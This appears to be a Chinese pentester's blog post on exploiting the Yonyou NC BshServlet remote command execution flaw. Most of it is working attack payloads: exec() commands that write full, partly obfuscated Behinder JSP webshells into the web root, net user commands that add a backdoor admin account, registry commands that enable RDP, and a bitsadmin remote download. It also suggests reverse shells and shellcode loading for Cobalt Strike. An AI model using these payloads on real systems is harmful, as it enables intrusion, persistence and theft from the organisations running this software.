前言
最近项目中遇到了用友 NC bsh.servlet.BshServlet
这个漏洞,因此记录一下利用过程。
利用过程
通过echo写入webshell(true)
能命令执行了,首先是想着要上webshell
,通过webshell
方便我们做更多的操作。
错误写法
通常windows
系统通过命令执行漏洞,写入webshell的方案是将webshell中的<
和>
变成^<
和^>
,然后再写入。
比如冰蝎的原始马,通过命令执行写入的方式如下:
1 | echo ^<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\1.jsp |
但对于bsh rce
而言,这里存在一个转义问题。即需要把"
进行转义,否则就会写入失败。
1 | exec("echo ^<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%^>^<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%^>^<%if (request.getMethod().equals(\"POST\")){String k=\"e45e329feb5d925b\";session.putValue(\"u\",k);Cipher c=Cipher.getInstance(\"AES\");c.init(2,new SecretKeySpec(k.getBytes(),\"AES\"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%^> > D:\\xxx\\webapps\\nc_web\\1.jsp"); |
但实际结果是想法很美好,现实很残酷,不知道什么原因,写入失败了。
正确写法
此方法是f1r3K0师傅
教的。
此处用的webshell
来自于https://github.com/Tas9er/ByPassBehinder
1 | \"><%@page import=\"sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random\" %><%! class govPkEEwdoozySiL3E extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {govPkEEwdoozySiL3E(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 govXua) {super(govXua);}public Class gov4k6(byte[] govR5DPQ) {return super.d\uuuuuuuuu0065fineClass/*govpmXukgv*/(govR5DPQ,0,govR5DPQ.length);}}%><%out.println(\"Random Garbage Data:\");Random govjE4OZjT6dsj = new Random();int govexbQJjny = govjE4OZjT6dsj.nextInt(1234);int govVoMJHvNbM = govjE4OZjT6dsj.nextInt(5678);int govXM8ClK = govjE4OZjT6dsj.nextInt(1357);int govAVeIPtBmc = govjE4OZjT6dsj.nextInt(2468);out.println(govexbQJjny+\",\"+govVoMJHvNbM+\",\"+govXM8ClK+\",\"+govAVeIPtBmc);String[] govGPaXMZ9RC = new String[]{\"A\", \"P\", \"B\", \"O\", \"C\", \"S\", \"D\", \"T\"};String govdSxidE = govGPaXMZ9RC[1] + govGPaXMZ9RC[3] + govGPaXMZ9RC[5] + govGPaXMZ9RC[7];if (request.getMethod().equals(govdSxidE)) {String govQgB4OeRejyK5U = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()/*govJ5l9v6AbXE8a6*/./*gov7*/decodeBuffer/*govmIp7*/(\"MTZhY2FjYzA1YWFmYWY2Nw==\"));session.setAttribute(\"u\", govQgB4OeRejyK5U);Cipher govGk91RlL = Cipher.getInstance(\"AES\");govGk91RlL.init(((govexbQJjny * govVoMJHvNbM + govXM8ClK - govAVeIPtBmc) * 0) + 3 - 1, new SecretKeySpec(govQgB4OeRejyK5U.getBytes(), \"AES\"));new govPkEEwdoozySiL3E(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).gov4k6(govGk91RlL.doFinal(new sun.misc./*govVz*/B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*govlnLTHdcPcAM*/decodeBuffer(request.getReader().readLine()))).newInstance()/*govzTPOMyCVHRP*/.equals(pageContext);}%><\" |
最终payload
应该是
1 | exec("cmd /c echo \"><%@page import=\"sun.misc.*,javax.crypto.Cipher,javax.crypto.spec.SecretKeySpec,java.util.Random\" %><%! class govPkEEwdoozySiL3E extends \u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 {govPkEEwdoozySiL3E(\u0043l\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072 govXua) {super(govXua);}public Class gov4k6(byte[] govR5DPQ) {return super.d\uuuuuuuuu0065fineClass/*govpmXukgv*/(govR5DPQ,0,govR5DPQ.length);}}%><%out.println(\"Random Garbage Data:\");Random govjE4OZjT6dsj = new Random();int govexbQJjny = govjE4OZjT6dsj.nextInt(1234);int govVoMJHvNbM = govjE4OZjT6dsj.nextInt(5678);int govXM8ClK = govjE4OZjT6dsj.nextInt(1357);int govAVeIPtBmc = govjE4OZjT6dsj.nextInt(2468);out.println(govexbQJjny+\",\"+govVoMJHvNbM+\",\"+govXM8ClK+\",\"+govAVeIPtBmc);String[] govGPaXMZ9RC = new String[]{\"A\", \"P\", \"B\", \"O\", \"C\", \"S\", \"D\", \"T\"};String govdSxidE = govGPaXMZ9RC[1] + govGPaXMZ9RC[3] + govGPaXMZ9RC[5] + govGPaXMZ9RC[7];if (request.getMethod().equals(govdSxidE)) {String govQgB4OeRejyK5U = new String(new B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()/*govJ5l9v6AbXE8a6*/./*gov7*/decodeBuffer/*govmIp7*/(\"MTZhY2FjYzA1YWFmYWY2Nw==\"));session.setAttribute(\"u\", govQgB4OeRejyK5U);Cipher govGk91RlL = Cipher.getInstance(\"AES\");govGk91RlL.init(((govexbQJjny * govVoMJHvNbM + govXM8ClK - govAVeIPtBmc) * 0) + 3 - 1, new SecretKeySpec(govQgB4OeRejyK5U.getBytes(), \"AES\"));new govPkEEwdoozySiL3E(this.\u0067\u0065t\u0043\u006c\u0061\u0073\u0073().\u0067\u0065t\u0043\u006c\u0061\u0073\u0073Loader()).gov4k6(govGk91RlL.doFinal(new sun.misc./*govVz*/B\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072()./*govlnLTHdcPcAM*/decodeBuffer(request.getReader().readLine()))).newInstance()/*govzTPOMyCVHRP*/.equals(pageContext);}%><\" > webapps/nc_web/123.jsp"); |
可简化为
1 | exec("cmd /c echo \"> 转义双引号(")的webshell <\" > webapps/nc_web/123.jsp"); |
执行后,将会在网站根目录留下一个叫123.jsp
的webshell
文件。
用冰蝎连接也是没有问题的。
创建账号访问RDP(false)
其实这个时候,可以直接创建RDP账号的。但是要求RDP的端口处于开放状态。
创建账号adm1n
,并加入管理员组
1 | net user adm1n adm1n@123 /add |
查询RDP
是否开放
1 | REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections |
查询RDP
端口
1 | REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber |
开启RDP
服务
1 | REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f |
实际上测试后发现,到注册表这部分命令时,又有错误产生,因此这个方法也得放弃。
直接上线CS(false)
通过powershell
反弹权限到cs
上是一种方法。
通过远程下载exe
上线cs
也是一种方法
主要是通过bitsadmin
和certutil
这类命令去远程下载。
但是如果有杀软,exe
不免杀,这就又是一个问题了,并且绝大多数杀软是会拒绝你远程下载二进制文件的。
远程下载jsp webshell(true)
1 | bitsadmin /rawreturn /transfer n https://www.baidu.com/img/flexible/logo/pc/result.png D:\\result.png |
测试后,发现此方法对于写webshell
是没有问题的,远程下载exe
是不行的。
但是此方法只针对出网环境,如果不出网该怎么处理了,后面就想到,能否通过java
代码去写入webshell
。
通过java文件流写入jsp webshell(true)
直接贴代码了
1 | import sun.misc.BASE64Decoder; |
写入webshell
访问webshell
通过此方法是最优解,不需要通过远程下载jsp
,也可写入webshell
。
实际上这里也可以直接去写入exe
,没时间尝试了,要去洗澡了。
总结
要多积累一下不同方式写shell
的优缺点,方便在测试过程中快速获取敏感信息。
理论上2.2
和2.3
的方法也是可以利用的,前提是要求闭合和转义的问题能搞定。
另外此处能直接执行java代码
,也就是说可以通过java代码
加载shellcode
的方式去上线CS
。
另外在之前洗完澡后,尝试了exe落地
。即exe
转hex
,在用java
将byte数组
转exe
文件落地的方法不推荐,我尝试过一个一个hello world
的二进制程序
转成hex
,结果是有8000
多行的byte
,这么大的数据发送到服务器,很容易造成拒绝服务攻击,建议不尝试。通过2.1.2
、2.4
、2.5
的方法写入webshell
即可。
鉴于作者技术不行,以后看情况更新此处漏洞利用的方式。